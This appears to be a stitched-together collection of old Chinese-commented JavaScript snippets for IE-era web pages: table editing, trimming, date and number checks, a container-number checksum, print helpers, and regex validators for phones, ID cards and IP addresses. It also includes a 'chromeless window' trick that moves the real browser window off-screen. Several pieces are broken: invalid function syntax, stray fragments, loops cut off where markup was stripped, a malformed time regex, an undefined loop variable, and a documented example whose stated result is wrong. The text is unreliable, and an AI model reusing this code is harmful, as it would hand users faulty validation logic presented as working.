//鼠标移出事件支持 function Td_MouseOut_Handle() { this.bgColor = "#ffffff"; }
//鼠标双击事件支持 function dblClick_Handle() { ChangeInput(this);// 切换到输入状态 this.ondblclick=doNothing; }
//鼠标单击事件支持 function click_Handle() { ResetTR(this); } //保持行的原始状态 function doNothing() { return; }
function showTip(msg) {
with (oPopup.document.body) { style.backgroundColor="lightyellow"; style.border="solid black 1px"; style.fontSize = 12; innerHTML=msg; } oPopup.show(event.x, event.y, 95, 16, document.body); }
function hideTip() { if(oPopup!=undefined) oPopup.hide(); } //===格式化字符串函数(删除前后空格)================ function trim(str) { var tmpStr = new String(str); var startIndex = 0,endIndex = 0; for(var i=0;i<tmpStr.length;i++) { if(tmpStr.charAt(i)==" ") { continue; } else { startIndex = i; break; } } for(var i=tmpStr.length;i>=0;i--) //注意开始最大下标必须减1 { if(tmpStr.charAt(i-1)==" ") { continue; } else { endIndex = i; break; } }
tmpStr = tmpStr.substring(startIndex,endIndex); return tmpStr; } //==================================================================================================================== //submit 方法 function getData(tableId,form) { var objTable = document.getElementById(tableId); var cols = objTable.cells.length/objTable.rows.length-1; var rows = objTable.rows.length-1; //为每个隐藏域设置值 var i=0,j=0; for(i=1;i<=cols;i++) { for(j=1;j<=rows;j++) { if(objTable.rows[j].cells[i].firstChild.value==undefined) { document.forms(form).elements("col" + i).value += trim(objTable.rows[j].cells[i].innerText); } else document.forms(form).elements("col" + i).value += trim(objTable.rows[j].cells[i].firstChild.value); document.forms(form).elements("col" + i).value += "#"; } } document.forms(form).submit(); } //==================================================================================================================== </script>
</head>
<body> <input type="button" onClick="InsertRow('tableId');" value="InsertRow"> <input type="button" onClick="DeleteRow('tableId');" value="DeleteRow"> <input type="button" onClick="getData('tableId','specForm');" value="submit"> <input type="button" onClick="DeleteOneRow('tableId',currRowIndex)" value="Delete Spec Row"> <input type="button" onClick="orderTB(document.getElementById('tableId'),3);" value="order Spec Col">
</body> </html> <script language="javascript1.2"> CreateTable('specForm','1','sub.jsp','tableId',col,row); </script>
//检测文件扩展名 function EuwCheckExt(path,extList){ var ext = getFileExt(path); var cExt = extList.indexOf("," + ext + ","); if (ext == "") return -1; if (cExt){ return 1; }else{ return 0; } }
//取得文件扩展名 function getFileExt(path){ var tmp = path; tmp = tmp.substring(tmp.lastIndexOf(".")+1); return tmp.toUpperCase(); }
//操作样式 function init(a){ var styleText1 = ""; styleText1 +="font-family: Arial, Verdana;"; styleText1 +="font-size: 18pt;"; styleText1 +="font-weight: bold;"; styleText1 +="font-style: italic;"; styleText1 +="color: #33CC00;"; //styleText1 +="background-color: #CCCC00;"; styleText1 +="filter: DropShadow(Color=#000000, OffX=1, OffY=1, Positive=0);"; tdTmp.style.cssText=styleText1; }
//粘贴前过滤剪贴板数据 function EuwColorOnBeforePaste(objColor){ clipboardData.setData('text',clipboardData.getData('text').replace(/[^a-fA-F0-9]/g,'').toUpperCase()); }
//颜色值输入 function EuwColorOnKeyUp(objColor){
objColor.value=objColor.value.replace(/[^#a-fA-F0-9]/g,'').toUpperCase();
}
//setTimeout()应用 function loopshow(name){ xxx.location="a.jpg"; setTimeout("loopshow(" + name + ");",100); }
//数字输入 function EuwCheckNumOnKeyUp(obj){ obj.value=obj.value.replace(/[^0-9.]/g,'').toUpperCase(); }
//按比例缩放图片 var loadNum=0; var loadTimes = 3; checkShowSize = false; function showsize() { //document.upload.FILE1.value = trim(document.upload.FILE1.value); document.all.view.src = document.upload.FILE1.value; //alert(document.all.view.height + "x" + document.all.view.width + " -> " + document.all.view.fileSize);
var diskuse = 5190970 var quota = 5242880 var maxfilesize = 512000; var showimg = new Image(); Image.create(22,22). showimg.src = document.upload.FILE1.value; alert(showimg.fileSize); if(showimg.fileSize>0) { if(showimg.fileSize > maxfilesize) { alertmsg = "您选中的图片大于" + maxfilesize+ ",目前字节数=" + showimg.fileSize; return false; }
if(showimg.fileSize > quota - diskuse) { alertmsg = "您选中的图片文件过大,或者相册已满"; return false; }
if(showimg.width > 100) { alert(showimg.width); var ori_w= showimg.width; var ori_h = showimg.height; showimg.width = 100; showimg.height = ori_h * showimg.width / ori_w; }
if(showimg.width < 5 || showimg.height <5) { showimg.width = showimg.height = 150; }
//document.all.view.src = showimg.src; document.all.view.style.width = showimg.width; document.all.view.style.height = showimg.height; checkShowSize = true; return true; } else if(loadNum<loadTimes) { loadNum ++ ; setTimeout('showsize()',500); } else if(loadNum>=loadTimes){ loadNum = 0; alertmsg = "图片字节数=0,请换张图片上传"; return false; } }
//字符串长度属性 String.prototype.len=function() { return this.replace(/[^\x00-\xff]/g,"**").length; }
//日期自动补0 function appendZero(n){return(("00"+ n).substr(("00"+ n).length-2));}
//字符串去空格属性 function String.prototype.trim(){return this.replace(/(^\s*)|(\s*$)/g,"");}
//打开一个全屏或者居中的窗口 function openwindow( url, winName,width,height,otherproperty) { //width,height //otherproperty xposition=0; yposition=0; if ((parseInt(navigator.appVersion) >= 4 )) { if(width == 1) { width=screen.width - 10; height=screen.height - 55; xposition = 0; yposition = 0; } else { if (width < 1) { width=screen.width*width; height=screen.height*height; } xposition = (screen.width - width) / 2; yposition = (screen.height - height) / 2 - 15; }
if (yposition < 0 ) { yposition = 0; } } theproperty= "width=" + width + ", " + "height=" + height + ", " + "screenX=" + xposition + ", " //Netscape + "screenY=" + yposition + ", " //Netscape + "left=" + xposition + ", " //IE + "top=" + yposition + ", "; //IE
theproperty = theproperty + "location=0, " + "menubar=0, " + "resizable=0, " + "scrollbars=1, " + "status=0, " + "toolbar=0, " + "hotkeys=0, "; theproperty = theproperty + ', ' + otherproperty; winobj=window.open( url,winName,theproperty ); if (url == "about:blank") { winobj.document.writeln("<font face='Arial' color='red' size='4'>Loading.....</font>"); } winobj.focus(); return winobj; }
//给定图片的最大高宽,取得缩放的比例 function EuwResizeRatio(maxWidth,maxHeight, objImgTmp) { var hRatio; var wRatio; var Ratio = 1; var maxHeight; var maxWidth; var width = objImgTmp.width; var height = objImgTmp.height; wRatio = EuwStr2Float(maxWidth / width,2); hRatio = EuwStr2Float(maxHeight / height,2); if (wRatio<1 || hRatio<1){ if (wRatio<=hRatio) Ratio = wRatio else Ratio = hRatio } return Ratio; } //改进版本,结合setTimeout传递参数做法(脚本块中有此方法) function EuwResizeRatio(maxWidth,maxHeight,objImgTmp,srcImg) { var hRatio; var wRatio; var Ratio = 1; var isKernel = true; if (objImgTmp==null) {isKernel = false}; if (isKernel && objImgTmp.width==0) {isKernel = false}; var width = 0; var height = 0; if (isKernel){ width = objImgTmp.width; height = objImgTmp.height; wRatio = EuwStr2Float(maxWidth / width,2); hRatio = EuwStr2Float(maxHeight / height,2); //alert(wRatio + "--" + hRatio); if (maxWidth==0){// if (hRatio<1) Ratio = hRatio; }else if (maxHeight==0){ if (wRatio<1) Ratio = wRatio; }else if (wRatio<1 || hRatio<1){ Ratio = (wRatio<=hRatio?wRatio:hRatio); } width = width * Ratio; height = height * Ratio; if (Ratio<1){ objImgTmp.width = width; objImgTmp.height = height; } if (srcImg!=null){ srcImg.width = width; srcImg.height = height; } }else{ var timer=window.setTimeout(EuwResizeRatio,100,maxWidth,maxHeight,objImgTmp,srcImg); } }
function String.prototype.trim(){return this.replace(/(^\s*)|(\s*$)/g,"");} function gf_AppendZero(n){return(("00"+ n).substr(("00"+ n).length-2));}//日期自动补零程序//
//取得当前系统日期时间 function gf_now() { var fs_now = new Date(); var fs_return=""; fs_return = fs_now.getFullYear() + "-" + gf_AppendZero(fs_now.getMonth() + 1) + "-" + gf_AppendZero(fs_now.getDate()); fs_return +=" " + gf_AppendZero(fs_now.getHours()) + ":" + gf_AppendZero(fs_now.getMinutes()) + ":" + gf_AppendZero(fs_now.getSeconds()); return fs_return; }
//取得当前系统日期 function gf_today() { var fs_now = new Date(); var fs_return=""; fs_return = fs_now.getFullYear() + "-" + gf_AppendZero(fs_now.getMonth() + 1) + "-" + gf_AppendZero(fs_now.getDate()); return fs_return; }
//验证日期是否合法(true/false) function gf_chkdate(as_datestr) { var fs_year="";fs_mon="";fs_day="";fs_time="";fs_hour="";fs_min="";fs_sec="";fs_obj="";fs_syn=""; var fi_loop,fi_len fi_len = as_datestr.length fs_obj = "year" if (fi_len<=0) return true; for (fi_loop=0;fi_loop<fi_len;fi_loop++ ) { if (as_datestr.charAt(fi_loop)==" " && fs_obj == "day" ) fs_obj = "hour"; if (as_datestr.charAt(fi_loop)== '-'|| as_datestr.charAt(fi_loop)== '/') { if (fs_syn == "") { fs_syn = as_datestr.charAt(fi_loop) } else { if (fs_syn != as_datestr.charAt(fi_loop)) return false //没有用统一的"-"或"/"符号错误 } if (fs_obj == "year" ) { fs_obj = "month" } else if (fs_obj == "month" ) { fs_obj = "day" } } else if (as_datestr.charAt(fi_loop)== ':') { if (fs_obj == "hour" ) { fs_obj = "minute" } else if (fs_obj == "minute" ) { fs_obj = "second" } } else //取出相应的值 { if (!(as_datestr.charAt(fi_loop) >= 0 && as_datestr.charAt(fi_loop) <= 9)) return false if (fs_obj == "year" ) { fs_year += as_datestr.charAt(fi_loop) } else if (fs_obj == "month" ) { fs_mon += as_datestr.charAt(fi_loop) } else if (fs_obj == "day" ) { fs_day += as_datestr.charAt(fi_loop) } else if (fs_obj == "hour" ) { if (as_datestr.charAt(fi_loop)!= " ") fs_hour += as_datestr.charAt(fi_loop) } else if (fs_obj == "minute" ) { fs_min += as_datestr.charAt(fi_loop) } else if (fs_obj == "second" ) { fs_sec += as_datestr.charAt(fi_loop) } } } //验证时间的合法性 if (fs_hour != "") { if ( fs_min == "" ) { return false } else { if (fs_sec == "") fs_sec = "0" } if ( fs_hour > 24 || fs_hour < 0 || fs_min >= 60 || fs_min < 0 || fs_sec >= 60 || fs_sec < 0 ) { return false //时间错误 } if (fs_hour.length>2 || fs_min.length>2) return false } //验证日期的合法性 if ( fs_year == "" || fs_mon=="" || fs_day=="" ) return false; if (fs_year.length == 2 ) { fs_year = '20'+ fs_year; } else if (fs_year.length != 4 ) { return false; } if ( fs_year.length > 4 || fs_mon.length > 2 || fs_day.length > 2 ) return false; if (!(fs_year>1901 && fs_year < 2999 && 1<=fs_mon && 12>=fs_mon && 31>=fs_day && 1<=fs_day) ) return false; if (( fs_mon==4 || fs_mon==6 || fs_mon==9 || fs_mon==11 ) && (fs_day>30)) return false; if ((fs_year % 4 == 0) && (fs_mon==2) && (fs_day > 29)) return false; if (!(fs_year % 4 == 0) && (fs_mon==2) && (fs_day > 28)) return false;
return true; }
//验证只能录入整数onkeypress function gf_checkint() { if ((window.event.keyCode<48 || window.event.keyCode>57) && window.event.keyCode!=45 ) window.event.returnValue=false; }
//验证只能录入实数onkeypress function gf_checkobjfloat(objectname) { if ((window.event.keyCode<45 || window.event.keyCode>57 || window.event.keyCode==47) && window.event.keyCode!=45) window.event.returnValue=false; if( window.event.keyCode==46 && objectname.value.indexOf(".")>-1) window.event.returnValue=false; }
//验证不能为空的数据// function gf_mandatory(as_prompt) { //as_prompt:tbx_a,不能为空*tbx_b,不能为空* var fs_src = as_prompt; var fas_p = fs_src.split("*"); var fas_n; for(var i=0;i<fas_p.length;i++) { if (fas_p[i]!="") { fas_n = fas_p[i].split(","); if (fas_n.length<2){alert("验证表达式有误,请检查");return false;} if (document.all(fas_n[0])==null){alert("Control Name:" + fas_n[0] + " is wrong!");return false;} if (gf_trim(document.all(fas_n[0]).value)=="") { alert(fas_n[1]); document.all(fas_n[0]).focus(); return false; } } } return true; }
//检查是否是数字,小数 function gf_chknum(ai_num) { var fi_i,fi_j,fi_dot,strTemp; strTemp=".0123456789"; fi_dot = 0; //小数点个数 if (ai_num.toString().length == 0) return false; if (ai_num.charAt(0) == "." || ai_num.charAt(ai_num.length - 1) == ".") return false; for(fi_i=0;fi_i<ai_num.length;fi_i++) { fi_j = strTemp.indexOf(ai_num.charAt(i)); if (fi_j == -1) return false; if (ai_num.charAt(i) == ".") { fi_dot++; if (fi_dot>1) return false; } } return true; }
//去除字符串的空格 function gf_trim(as_string) { while(as_string.length > 0 && as_string.indexOf(" ")==0) as_string = as_string.substr(1); while(as_string.length > 0 && as_string.lastIndexOf(" ")==(as_string.length-1)) as_string = as_string.substr(0,as_string.length-1); return as_string; }
//只能输入大写字符 function gf_lc2uc() { if (window.event.keyCode>=97 & window.event.keyCode<=122 ) { window.event.keyCode = window.event.keyCode - 32; } }
/** 格式化日期函数 D--日期2004-12-25 DT--日期时间2004-12-25 12:05:56 **/ function gf_formatdate(as_date,as_datetype) { //2003-11-12 11:25:13 var fs_tmp = new Array(); var fs_date = (as_date==null?"":gf_trim(as_date)); var fs_datetype = (as_datetype==null?"D":"DT"); if (fs_date=="") return fs_date; var fi_space = fs_date.indexOf(" "); var fs_ymd = fs_date.substr(0,fi_space); var fs_hms = fs_date.substr(fi_space+1); if (fs_ymd == "") {fs_ymd = fs_hms;fs_hms = "";} fs_tmp = fs_ymd.split("-"); fs_ymd = (fs_tmp[0].length==2?("20" + fs_tmp[0]):fs_tmp[0]) + "-" + gf_AppendZero(fs_tmp[1]) + "-" + gf_AppendZero(fs_tmp[2]); if (fs_hms != "") { fs_tmp = fs_hms.split(":"); fs_hms = " " + gf_AppendZero(fs_tmp[0]) + ":" + gf_AppendZero(fs_tmp[1]) + (fs_tmp.length==3?(":" + gf_AppendZero(fs_tmp[2])):""); } fs_date = fs_ymd + (fs_datetype=="D"?"":fs_hms); return fs_date; }
//集装箱箱号验证 //Author: sundy 20003-4-28 //格式:gf_chkcntrno(as_cntrno, fi_choice ) return( boolean ) //功能:验证集装箱箱号: //参数: // as_cntrno 是否符合国际标准, //返回值:True 符合国际标准或强行通过(特殊箱号) //举例:gf_chkcntrno( 'TEXU2982987', 0 ) function gf_chkcntrno(as_cntrno,ai_choice) { var fi_ki; var fi_numsum; var fi_nummod; var fai_num = new Array(11); var fb_errcntrno=false;
if (as_cntrno==null) return true; //null不进行验证 if (gf_trim(as_cntrno)=="") return true; //空不进行验证 if (as_cntrno.length == 11) //国际标准为11位,最后一位是校验位,若不是11位肯定不是标准箱 { for(fi_ki=1;fi_ki<=11;fi_ki++) fai_num[fi_ki] = 0; for(fi_ki=1;fi_ki<=4;fi_ki++) //根据国际标准验证法则处理箱号前面的4个英文字母 { fch_char=as_cntrno.charAt(fi_ki-1).toUpperCase(); switch(true) { case (fch_char=="A"):{fai_num[fi_ki] = 10;break;} case (fch_char>="V" && fch_char<="Z"):{fai_num[fi_ki] = fch_char.charCodeAt() - 52;break;} case (fch_char>="L" && fch_char<="U"):{fai_num[fi_ki] = fch_char.charCodeAt() - 53;break;} default:{fai_num[fi_ki] = fch_char.charCodeAt() - 54;break;} } } for(fi_ki=5;fi_ki<=11;fi_ki++) { fch_char=as_cntrno.charAt(fi_ki-1); fai_num[fi_ki] = parseInt(fch_char); //ctype((mid(as_cntrno, fi_ki, 1)), integer) } fi_numsum = 0 for(fi_ki=1;fi_ki<=10;fi_ki++) { fi_sqr = 1; for(i=1;i<fi_ki;i++){fi_sqr *=2;} fi_numsum += fai_num[fi_ki] * fi_sqr; }
if (as_cntrno.substr(0,4) == "HLCU") fi_numsum = fi_numsum - 2; //hapaq lloyd的柜号与国际标准相差2 fi_nummod = fi_numsum % 11; if (fi_nummod == 10) fi_nummod = 0; if (fi_nummod == fai_num[11]) fb_errcntrno = true; return fb_errcntrno; }else{ return fb_errcntrno; } }
/*由于在Js中Replace只能替换一次,下面函数能全局替换2003.5.13 -sundy as_expression --包含要替换的字符串 as_find --搜索的子字符串 as_replacement --要替换的字符串 替换字符串函数,如:"'"转换为"''" */ function gf_replace(as_expression,as_find,as_replacement) { var fs_expression = as_expression; var fs_find = as_find; var fs_replacement = as_replacement; if (fs_expression == "") return ""; if (fs_find == "") return ""; //构造正则表达式\,$,(,),*,+,.,[,?,{,^,|为特殊字符,必须转义后替换 fs_regx1 = /\\/gi; fs_find = fs_find.replace(fs_regx1,"\\\\"); fs_replacement = fs_replacement.replace(fs_regx1,"\\"); fs_regx1 = /\$/gi; fs_find = fs_find.replace(fs_regx1,"\\\$"); fs_replacement = fs_replacement.replace(fs_regx1,"\$"); fs_regx1 = /\(/gi; fs_find = fs_find.replace(fs_regx1,"\\\("); fs_replacement = fs_replacement.replace(fs_regx1,"\("); fs_regx1 = /\)/gi; fs_find = fs_find.replace(fs_regx1,"\\\)"); fs_replacement = fs_replacement.replace(fs_regx1,"\)"); fs_regx1 = /\*/gi; fs_find = fs_find.replace(fs_regx1,"\\\*"); fs_replacement = fs_replacement.replace(fs_regx1,"\*"); fs_regx1 = /\+/gi; fs_find = fs_find.replace(fs_regx1,"\\\+"); fs_replacement = fs_replacement.replace(fs_regx1,"\+"); fs_regx1 = /\./gi; fs_find = fs_find.replace(fs_regx1,"\\\."); fs_replacement = fs_replacement.replace(fs_regx1,"\."); fs_regx1 = /\[/gi; fs_find = fs_find.replace(fs_regx1,"\\\["); fs_replacement = fs_replacement.replace(fs_regx1,"\["); fs_regx1 = /\?/gi; fs_find = fs_find.replace(fs_regx1,"\\\?"); fs_replacement = fs_replacement.replace(fs_regx1,"\?"); fs_regx1 = /\^/gi; fs_find = fs_find.replace(fs_regx1,"\\\^"); fs_replacement = fs_replacement.replace(fs_regx1,"\^"); fs_regx1 = /\{/gi; fs_find = fs_find.replace(fs_regx1,"\\\{"); fs_replacement = fs_replacement.replace(fs_regx1,"\{"); fs_regx1 = /\|/gi; fs_find = fs_find.replace(fs_regx1,"\\\|"); fs_replacement = fs_replacement.replace(fs_regx1,"\|"); fs_find = "/" + fs_find + "/gi";
//返回替换后的值 return fs_expression.replace(eval(fs_find),fs_replacement); }
/*Jun.14,2003--sundy 字符串转换为数字(""-->0)as_type--str,num 参数说明:as_str--转换的字符串 ai_digit--转换的小数位数(null--不限制小数位数,0--转换为整型,>0按小数位数转换) as_type--转换后返回的类型(null,"num"--转换为数字类型,"str"--转换为字符串(按小数格式化后的字符串) 例如: gf_str2float("10.2124568795")返回float类型10.2124568795 gf_str2float("10.6",0)返回Int类型11(使用四舍五入的方法) gf_str2float("10.2",2)返回float类型10.1 gf_str2float("10.2",2,"str")返回String类型"10.20"(按小数位数格式化字符串) gf_str2float("10.216",2)返回float类型10.22 gf_str2float("10.216",2,"str")返回String类型"10.22" */ function gf_str2float(as_str,ai_digit,as_type) { var fdb_tmp = 0; var fi_digit = 0; var fs_digit = "1"; var fs_str = "" + as_str; var fs_tmp1 = ""; var fs_tmp2 = ""; var fi_pos = 0; var fi_len = 0; fdb_tmp = parseFloat(isNaN(parseFloat(fs_str))?0:fs_str); switch (true) { case (ai_digit==null)://不改变值,只转换为数字 fdb_tmp = fdb_tmp; break; case (ai_digit==0)://取得整数 fdb_tmp = Math.round(fdb_tmp); break; case (ai_digit>0)://按照传入的小数点位数四舍五入取值 for (var i=0;i<ai_digit;i++) fs_digit +="0"; fi_digit = parseInt(fs_digit); fdb_tmp = Math.round(fdb_tmp * fi_digit) / fi_digit; if (as_type=="str") { fs_tmp1 = fdb_tmp.toString(); fs_tmp1 +=((fs_tmp1.indexOf(".")!=-1)?"":".") + fs_digit.substr(1); fi_pos = fs_tmp1.indexOf(".") + 1 + ai_digit; fdb_tmp = fs_tmp1.substr(0,fi_pos); } break; } return fdb_tmp; }
//打印数据 function gf_dgdprint(as_reportname,as_where,as_subtitle,as_footer) { //打印datagrid --sherry 2003-08-19 /* as_reportname--报表格式名 不能为空 as_where--where 提取条件,形如" From cod_Driver Where Corp ='本单位' 不能为空 as_subtitle --表头小标题 as_footer--表尾, */ var fs_Rpt_Property="width=" + (screen.width - 10) + ",height=" + (screen.height - 55) + ",left=0,top=0"; if (as_reportname==null) as_reportname=""; if (as_where==null) as_where=""; if (as_subtitle==null) as_subtitle=""; if (as_footer==null) as_footer=""; var S_Rpt_ReportName=escape(as_reportname) ; var S_Rpt_Where=escape(as_where) ; var S_Rpt_SubTitle=escape(as_subtitle) ; var S_Rpt_Footer=escape(as_footer) ; var fs_parm = ""; fs_parm += "?S_Rpt_ReportName=" + S_Rpt_ReportName ; fs_parm += "&S_Rpt_Where=" + S_Rpt_Where ; fs_parm += "&S_Rpt_SubTitle=" + S_Rpt_SubTitle ; fs_parm += "&S_Rpt_Footer=" + S_Rpt_Footer ; window.open( "../SysPublic/sys_printer.aspx" + fs_parm,"sys_printer",fs_Rpt_Property ); }
一、验证类 1、数字验证内 1.1 整数 1.2 大于0的整数 (用于传来的ID的验证) 1.3 负整数的验证 1.4 整数不能大于iMax 1.5 整数不能小于iMin 2、时间类 2.1 短时间,形如 (13:04:06) 2.2 短日期,形如 (2003-12-05) 2.3 长时间,形如 (2003-12-05 13:04:06) 2.4 只有年和月。形如(2003-05,或者2003-5) 2.5 只有小时和分钟,形如(12:03) 3、表单类 3.1 所有的表单的值都不能为空 3.2 多行文本框的值不能为空。 3.3 多行文本框的值不能超过sMaxStrleng 3.4 多行文本框的值不能少于sMixStrleng 3.5 判断单选框是否选择。 3.6 判断复选框是否选择. 3.7 复选框的全选,多选,全不选,反选 3.8 文件上传过程中判断文件类型 4、字符类 4.1 判断字符全部由a-Z或者是A-Z的字字母组成 4.2 判断字符由字母和数字组成。 4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母 4.4 字符串替换函数.Replace(); 5、浏览器类 5.1 判断浏览器的类型 5.2 判断ie的版本 5.3 判断客户端的分辨率
6、结合类 6.1 email的判断。 6.2 手机号码的验证 6.3 身份证的验证
二、功能类
1、时间与相关控件类 1.1 日历 1.2 时间控件 1.3 万年历 1.4 显示动态显示时钟效果(文本,如OA中时间) 1.5 显示动态显示时钟效果 (图像,像手表) 2、表单类 2.1 自动生成表单 2.2 动态添加,修改,删除下拉框中的元素 2.3 可以输入内容的下拉框 2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)
3、打印类 3.1 打印控件 4、事件类 4.1 屏蔽右键 4.2 屏蔽所有功能键 4.3 --> 和<-- F5 F11,F9,F1 4.4 屏蔽组合键ctrl+N 5、网页设计类 5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现) 5.2 html编辑控件类 5.3 颜色选取框控件 5.4 下拉菜单 5.5 两层或多层次的下拉菜单 5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目) 5.7 状态栏,title栏的动态效果(例子很多,可以研究一下) 5.8 双击后,网页自动滚屏 6、树型结构。 6.1 asp+SQL版 6.2 asp+xml+sql版 6.3 java+sql或者java+sql+xml 7、无边框效果的制作 8、连动下拉框技术 9、文本排序 ---------------------------------------------------------------------------------------
一、验证类 1、数字验证内 1.1 整数 /^(-|\+)?\d+$/.test(str) 1.2 大于0的整数 (用于传来的ID的验证) /^\d+$/.test(str) 1.3 负整数的验证 /^-\d+$/.test(str) 2、时间类 2.1 短时间,形如 (13:04:06) function isTime(str) { var a = str.match(/^(\d{1,2})(?(\d{1,2})\2(\d{1,2})$/); if (a == null) {alert('输入的参数不是时间格式'); return false;} if (a[1]>24 || a[3]>60 || a[4]>60) { alert("时间格式不对"); return false } return true; } 2.2 短日期,形如 (2003-12-05) function strDateTime(str) { var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/); if(r==null)return false; var d= new Date(r[1], r[3]-1, r[4]); return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]); } 2.3 长时间,形如 (2003-12-05 13:04:06) function strDateTime(str) { var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2})\d{1,2})\d{1,2})$/; var r = str.match(reg); if(r==null)return false; var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]); return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==r[7]); } 2.4 只有年和月。形如(2003-05,或者2003-5) 2.5 只有小时和分钟,形如(12:03) 3、表单类 3.1 所有的表单的值都不能为空
3.2 多行文本框的值不能为空。 3.3 多行文本框的值不能超过sMaxStrleng 3.4 多行文本框的值不能少于sMixStrleng 3.5 判断单选框是否选择。 3.6 判断复选框是否选择. 3.7 复选框的全选,多选,全不选,反选 3.8 文件上传过程中判断文件类型 4、字符类 4.1 判断字符全部由a-Z或者是A-Z的字字母组成
4.2 判断字符由字母和数字组成。
4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母 /^([a-zA-z_]{1})([\w]*)$/g.test(str) 4.4 字符串替换函数.Replace(); 5、浏览器类 5.1 判断浏览器的类型 window.navigator.appName 5.2 判断ie的版本 window.navigator.appVersion 5.3 判断客户端的分辨率 window.screen.height; window.screen.width;
6、结合类 6.1 email的判断。 function ismail(mail) { return(new RegExp(/^\w+((-\w+)|(\.\w+))*\-AT-[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(mail)); } 6.2 手机号码的验证 6.3 身份证的验证 function isIdCardNo(num) { if (isNaN(num)) {alert("输入的不是数字!"); return false;} var len = num.length, re; if (len == 15) re = new RegExp(/^(\d{6})()?(\d{2})(\d{2})(\d{2})(\d{3})$/); else if (len == 18) re = new RegExp(/^(\d{6})()?(\d{4})(\d{2})(\d{2})(\d{3})(\d)$/); else {alert("输入的数字位数不对!"); return false;} var a = num.match(re); if (a != null) { if (len==15) { var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]); var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5]; } else { var D = new Date(a[3]+"/"+a[4]+"/"+a[5]); var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5]; } if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;} } return true; } -------------------------------------------------------------------------------------
3.7 复选框的全选,多选,全不选,反选
全选
全选
function checkAll(str) { var a = document.getElementsByName(str); var n = a.length; for (var i=0; ia[i].checked = window.event.srcElement.checked; } function checkItem(str) { var e = window.event.srcElement; var all = eval("document.hrong."+ str); if (e.checked) { var a = document.getElementsByName(e.name); all.checked = true; for (var i=0; i{ if (!a[i].checked){ all.checked = false; break;} } } else all.checked = false; }
3.8 文件上传过程中判断文件类型
------------------------------------------------------------------------------------- 1.身份证严格验证:
2.验证IP地址
function isip(s){ var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}}; var re=s.split(".") return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false }
var s="202.197.78.129"; alert(isip(s))
3.加sp1后还能用的无边框窗口!!
/*--- Special Thanks For andot ---*/
/* This following code are designed and writen by Windy_sk You can use it freely, but u must held all the copyright items! /
/- Thanks For andot Again ---*/
var CW_width = 400; var CW_height = 300; var CW_top = 100; var CW_left = 100; var CW_url = "/"; var New_CW = window.createPopup(); var CW_Body = New_CW.document.body; var content = ""; var CSStext = "margin:1px;color:black; border:2px outset;border-style:expression(onmouseout=onmouseup=function(){this.style.borderStyle='outset'}, onmousedown=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";
//Build Window include.startDownload(CW_url, function(source){content=source});
function insert_content(){ var temp = ""; CW_Body.style.overflow = "hidden"; CW_Body.style.backgroundColor = "white"; CW_Body.style.border = "solid black 1px"; content = content.replace(/]*)>/g,""); temp += ""; temp += ""; temp += "Chromeless Window For IE6 SP1"; temp += ""; temp += "?"; temp += "0"; temp += "1"; temp += "x"; temp += ""; temp += ""; temp += content; temp += "
"; temp += ""; CW_Body.innerHTML = temp; }
setTimeout("insert_content()",1000);
var if_max = true; function show_CW(){ window.moveTo(10000, 10000); if(if_max){ New_CW.show(CW_top, CW_left, CW_width, CW_height); if(typeof(New_CW.document.all.include)!="undefined"){ New_CW.document.all.include.style.width = CW_width; New_CW.document.all.Max.innerText = "1"; }
}else{ New_CW.show(0, 0, screen.width, screen.height); New_CW.document.all.include.style.width = screen.width; } }
window.onfocus = show_CW; window.onresize = show_CW;
// Move Window var drag_x,drag_y,draging=false
function drag_move(e){ if (draging){ New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height); return false; } }
function drag_down(e){ if(e.button==2)return; if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return; drag_x=e.clientX; drag_y=e.clientY; draging=true; e.srcElement.setCapture(); }
function drag_up(e){ draging=false; e.srcElement.releaseCapture(); if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return; CW_top = e.screenX-drag_x; CW_left = e.screenY-drag_y; }
电话号码的验证
要求: (1)电话号码由数字、"("、")"和"-"构成 (2)电话号码为3到8位 (3)如果电话号码中包含有区号,那么区号为三位或四位 (4)区号用"("、")"或"-"和其他部分隔开 (5)移动电话号码为11或12位,如果为12位,那么第一位为0 (6)11位移动电话号码的第一位和第二位为"13" (7)12位移动电话号码的第二位和第三位为"13" 根据这几条规则,可以与出以下正则表达式: (^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)
function PhoneCheck(s) { var str=s; var reg=/(^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/ alert(reg.test(str)); }
--------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
//检验法人代码 function isCorporationCode(s){ var patrn=/^(\d){15}$/; if (!patrn.exec(s)) return false return true }
